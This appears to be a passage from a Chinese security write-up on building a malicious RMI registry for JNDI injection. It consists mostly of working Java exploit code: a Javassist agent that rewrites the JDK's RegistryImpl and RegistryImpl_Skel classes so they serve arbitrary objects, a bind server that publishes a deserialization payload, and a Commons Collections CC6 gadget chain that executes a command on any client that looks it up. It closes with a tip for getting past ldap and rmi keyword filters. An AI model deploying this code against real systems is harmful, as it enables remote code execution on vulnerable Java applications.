- RegistryImpl_Skel - 修改 dispatch 方法的 case 2,直接从 bindings 获取 Object 并返回
agent 部分代码
package com.rmi.agent;
import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
public class RMIAgent {
// JVM 启动时调⽤
public static void premain(String agentArgs, Instrumentation inst) {
System.out.println("[+] RMI Agent started");
inst.addTransformer(new RMIClassTransformer(), true);
}
static class RMIClassTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] classfileBuffer) {
if (className == null)
return null;
String normalizedClassName = className.replace('/', '.');
try {
// 修改 RegistryImpl
if ("sun.rmi.registry.RegistryImpl".equals(normalizedClassName)) {
return transformRegistryImpl();
}
// 修改 RegistryImpl_Skel
if ("sun.rmi.registry.RegistryImpl_Skel".equals(normalizedClassName)) {
return transformRegistryImplSkel();
}
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
// 修改 RegistryImpl 的 bindings 字段类型
private byte[] transformRegistryImpl() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("sun.rmi.registry.RegistryImpl");
// 获取 bindings 字段
CtField bindingsField = ctClass.getDeclaredField("bindings");
// 修改为无泛型的 Hashtable
CtClass hashtableClass = pool.get("java.util.Hashtable");
bindingsField.setType(hashtableClass);
System.out.println("[+] RegistryImpl.bindings type modified");
System.out.println(" Original: Hashtable<String, Remote>");
System.out.println(" Modified: Hashtable");
byte[] bytecode = ctClass.toBytecode();
ctClass.detach();
return bytecode;
}
// 修改 RegistryImpl_Skel 的 dispatch ⽅法
private byte[] transformRegistryImplSkel() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get("sun.rmi.registry.RegistryImpl_Skel");
// 获取 dispatch ⽅法
CtMethod[] methods = ctClass.getDeclaredMethods("dispatch");
CtMethod dispatchMethod = null;
for (CtMethod method : methods) {
if (method.getParameterTypes().length == 4) {
dispatchMethod = method;
break;
}
}
if (dispatchMethod == null) {
throw new Exception("未找到 dispatch ⽅法");
}
// 新的⽅法体 - 完整替换整个⽅法
String newMethodBody =
"{" +
" if ($4 != 4905912898345647071L) {" +
" throw new java.rmi.server.SkeletonMismatchException(\"interface hash mismatch\");" +
" }" +
" sun.rmi.registry.RegistryImpl var6 = (sun.rmi.registry.RegistryImpl)$1;" +
" String var7;" +
" java.io.ObjectInput var8;" +
" java.io.ObjectInput var9;" +
" java.rmi.Remote var80;" +
" " +
" switch ($3) {" +
" case 0:" +
" sun.rmi.registry.RegistryImpl.checkAccess(\"Registry.bind\");" +
" try {" +
" var9 = $2.getInputStream();" +
" var7 = (String)var9.readObject();" +
" var80 = (java.rmi.Remote)var9.readObject();" +
" } catch (ClassNotFoundException var77) {" +
" throw new java.rmi.UnmarshalException(\"error unmarshalling arguments\", var77);" +
" } catch (java.io.IOException var77) {" +
" throw new java.rmi.UnmarshalException(\"error unmarshalling arguments\", var77);" +
" } finally {" +
" $2.releaseInputStream();" +
" }" +
" var6.bind(var7, var80);" +
" try {" +
" $2.getResultStream(true);" +
" break;" +
" } catch (java.io.IOException var76) {" +
" throw new java.rmi.MarshalException(\"error marshalling return\", var76);" +
" }" +
" case 1:" +
" $2.releaseInputStream();" +
" String[] var79 = var6.list();" +
" try {" +
" java.io.ObjectOutput var81 = $2.getResultStream(true);" +
" var81.writeObject(var79);" +
" break;" +
" } catch (java.io.IOException var75) {" +
" throw new java.rmi.MarshalException(\"error marshalling return\", var75);" +
" }" +
" case 2:" +
" System.out.println(\"[!!!] RegistryImpl_Skel case 2 modified by Agent !!!\");" +
" try {" +
" var8 = $2.getInputStream();" +
" var7 = (String)var8.readObject();" +
" System.out.println(\"[*] Received lookup request: \" + var7);" +
" } catch (ClassNotFoundException var73) {" +
" throw new java.rmi.UnmarshalException(\"error unmarshalling arguments\", var73);" +
" } catch (java.io.IOException var73) {" +
" throw new java.rmi.UnmarshalException(\"error unmarshalling arguments\", var73);" +
" } finally {" +
" $2.releaseInputStream();" +
" }" +
" " +
" Object $result = null;" +
" try {" +
" java.lang.reflect.Field bindingsField = null;" +
" try {" +
" bindingsField = var6.getClass().getDeclaredField(\"bindings\");" +
" } catch (NoSuchFieldException e) {" +
" bindingsField = var6.getClass().getSuperclass().getDeclaredField(\"bindings\");" +
" }" +
" bindingsField.setAccessible(true);" +
" java.util.Hashtable bindings = (java.util.Hashtable) bindingsField.get(var6);" +
" $result = bindings.get(var7);" +
" System.out.println(\"[+] Got object from bindings: \" + ($result != null ? $result.getClass().getName() : \"null\"));" +
" if ($result == null) {" +
" throw new java.rmi.NotBoundException(var7);" +
" }" +
" } catch (Exception e) {" +
" System.out.println(\"[-] Failed to get from bindings: \" + e.getMessage());" +
" e.printStackTrace();" +
" throw new java.io.IOException(\"Failed to get bindings\", e);" +
" }" +
" " +
" try {" +
" java.io.ObjectOutput out = $2.getResultStream(false);" +
" out.writeObject($result);" +
" System.out.println(\"[+] Returned object to client: \" + $result.getClass().getName());" +
" break;" +
" } catch (java.io.IOException var72) {" +
" throw new java.rmi.MarshalException(\"error marshalling return\", var72);" +
" }" +
" case 3:" +
" sun.rmi.registry.RegistryImpl.checkAccess(\"Registry.rebind\");" +
" try {" +
" var9 = $2.getInputStream();" +
" var7 = (String)var9.readObject();" +
" var80 = (java.rmi.Remote)var9.readObject();" +
" } catch (ClassNotFoundException var70) {" +
" throw new java.rmi.UnmarshalException(\"error unmarshalling arguments\", var70);" +
" } catch (java.io.IOException var70) {" +
" throw new java.rmi.UnmarshalException(\"error unmarshalling arguments\", var70);" +
" } finally {" +
" $2.releaseInputStream();" +
" }" +
" var6.rebind(var7, var80);" +
" try {" +
" $2.getResultStream(true);" +
" break;" +
" } catch (java.io.IOException var69) {" +
" throw new java.rmi.MarshalException(\"error marshalling return\", var69);" +
" }" +
" case 4:" +
" sun.rmi.registry.RegistryImpl.checkAccess(\"Registry.unbind\");" +
" try {" +
" var8 = $2.getInputStream();" +
" var7 = (String)var8.readObject();" +
" } catch (ClassNotFoundException var67) {" +
" throw new java.rmi.UnmarshalException(\"error unmarshalling arguments\", var67);" +
" } catch (java.io.IOException var67) {" +
" throw new java.rmi.UnmarshalException(\"error unmarshalling arguments\", var67);" +
" } finally {" +
" $2.releaseInputStream();" +
" }" +
" var6.unbind(var7);" +
" try {" +
" $2.getResultStream(true);" +
" break;" +
" } catch (java.io.IOException var66) {" +
" throw new java.rmi.MarshalException(\"error marshalling return\", var66);" +
" }" +
" default:" +
" throw new java.rmi.UnmarshalException(\"invalid method number\");" +
" }" +
"}";
dispatchMethod.setBody(newMethodBody);
System.out.println("[+] RegistryImpl_Skel.dispatch modified");
System.out.println(" - case 2: get Object from bindings directly");
System.out.println(" - case 2: skip Remote type check");
byte[] bytecode = ctClass.toBytecode();
ctClass.detach();
return bytecode;
}
}
}RMIBindServer 部分
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.lang.reflect.Field;
import java.util.Hashtable;
import exploit.PayloadGen;
public class RMIBindServer {
private int port;
private String host;
public RMIBindServer(String host, int port) {
this.host = host;
this.port = port;
}
public void start() throws Exception {
System.out.println("[*] Starting RMI Bind Server");
System.out.println("[*] Address: " + host + ":" + port);
System.setProperty("java.rmi.server.hostname", host);
// 创建 Registry(Agent 已修改 bindings 字段类型)
Registry registry = LocateRegistry.createRegistry(port);
System.out.println("[+] Registry created");
// 创建恶意 payload
Object payloadObject = createPayload();
// 通过反射直接操作 bindings 字段
bindObjectByReflection(registry, "payload", payloadObject);
System.out.println("[+] Malicious object bound: rmi://" + host + ":" + port + "/payload");
System.out.println("[+] Waiting for client lookup...");
// 保持服务运⾏
Thread.currentThread().join();
}
/**
* 通过反射直接操作 bindings 字段,写入任意 Object
*/
private void bindObjectByReflection(Registry registry, String name, Object obj)
throws Exception {
System.out.println("[*] Accessing bindings field via Reflection");
// registry 就是 RegistryImpl 实例
// 获取 bindings 字段(Agent 已修改为 Hashtable 类型)
Field bindingsField = getField(registry.getClass(), "bindings");
// 现在 bindings 是纯 Hashtable 类型,可以接受任意 Object
Hashtable bindings = (Hashtable) bindingsField.get(registry);
// 直接 put 任意对象
bindings.put(name, obj);
System.out.println("[+] Successfully put into bindings: " + name);
System.out.println("[+] Object Type: " + obj.getClass().getName());
}
/**
* 创建恶意 payload 对象
* 这⾥可以是任意反序列化 Gadget
*/
private Object createPayload() throws Exception {
System.out.println("[*] Creating Malicious Payload");
// 使用 CC6 触发 calc
String command = "calc";
Object payload = PayloadGen.getCC6Payload(command);
System.out.println("[+] Payload created (CC6: " + command + ")");
return payload;
}
// 反射⼯具⽅法
private static Field getField(Class<?> clazz, String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException e) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
public static void main(String[] args) throws Exception {
if (args.length < 2) {
System.out.println("Usage: java -javaagent:target/jndi-rmi-exploit-1.0-SNAPSHOT-jar-with-dependencies.jar -cp target/jndi-rmi-exploit-1.0-SNAPSHOT-jar-with-dependencies.jar RMIBindServer <host> <port>");
System.out.println("\nExample:");
System.out.println(" java -javaagent:target/jndi-rmi-exploit-1.0-SNAPSHOT-jar-with-dependencies.jar -cp target/jndi-rmi-exploit-1.0-SNAPSHOT-jar-with-dependencies.jar RMIBindServer 127.0.0.1 1099");
return;
}
String host = args[0];
int port = Integer.parseInt(args[1]);
RMIBindServer server = new RMIBindServer(host, port);
server.start();
}
}GenPayload 部分
package exploit;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.IOException;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class PayloadGen {
public static Object getCC6Payload(String command) throws Exception {
System.out.println("[*] Generating CC6 Payload for command: " + command);
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { command }),
new ConstantTransformer(1)
};
Transformer transformerChain = new ChainedTransformer(transformers);
final Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1) };
final Transformer fakeTransformerChain = new ChainedTransformer(fakeTransformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, fakeTransformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashMap outerMap = new HashMap();
outerMap.put(entry, "bar");
innerMap.clear();
Field f = LazyMap.class.getDeclaredField("factory");
f.setAccessible(true);
f.set(lazyMap, transformerChain);
return outerMap;
}
public static Object getURLDNSPayload(String urlStr) throws Exception {
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, urlStr, handler);
ht.put(u, urlStr);
Field f = u.getClass().getDeclaredField("hashCode");
f.setAccessible(true);
f.set(u, -1);
return ht;
}
static class SilentURLStreamHandler extends URLStreamHandler {
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
@Override
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}最后打包成 jar 用 -javaagent 参数启动
java -javaagent:target/jndi-rmi-exploit-1.0-SNAPSHOT-jar-with-dependencies.jar -cp target/jndi-rmi-exploit-1.0-SNAPSHOT-jar-with-dependencies.jar RMIBindServer 127.0.0.1 1099
一些其他
过滤了 ldap rmi 关键字什么的情况下还能用 ldaps
JRMP 协议目前研究的还不是很多,感觉目前针对 JNDI 的研究快到尽头了,毕竟 jdk8 都无法常规利用了,更多还是结合其他第三方依赖去组合,留一些坑,这里改一改反射调用应该还是可以用到 jdk20? ldap 转 rmi 这里没写,如果之后有机会再补一些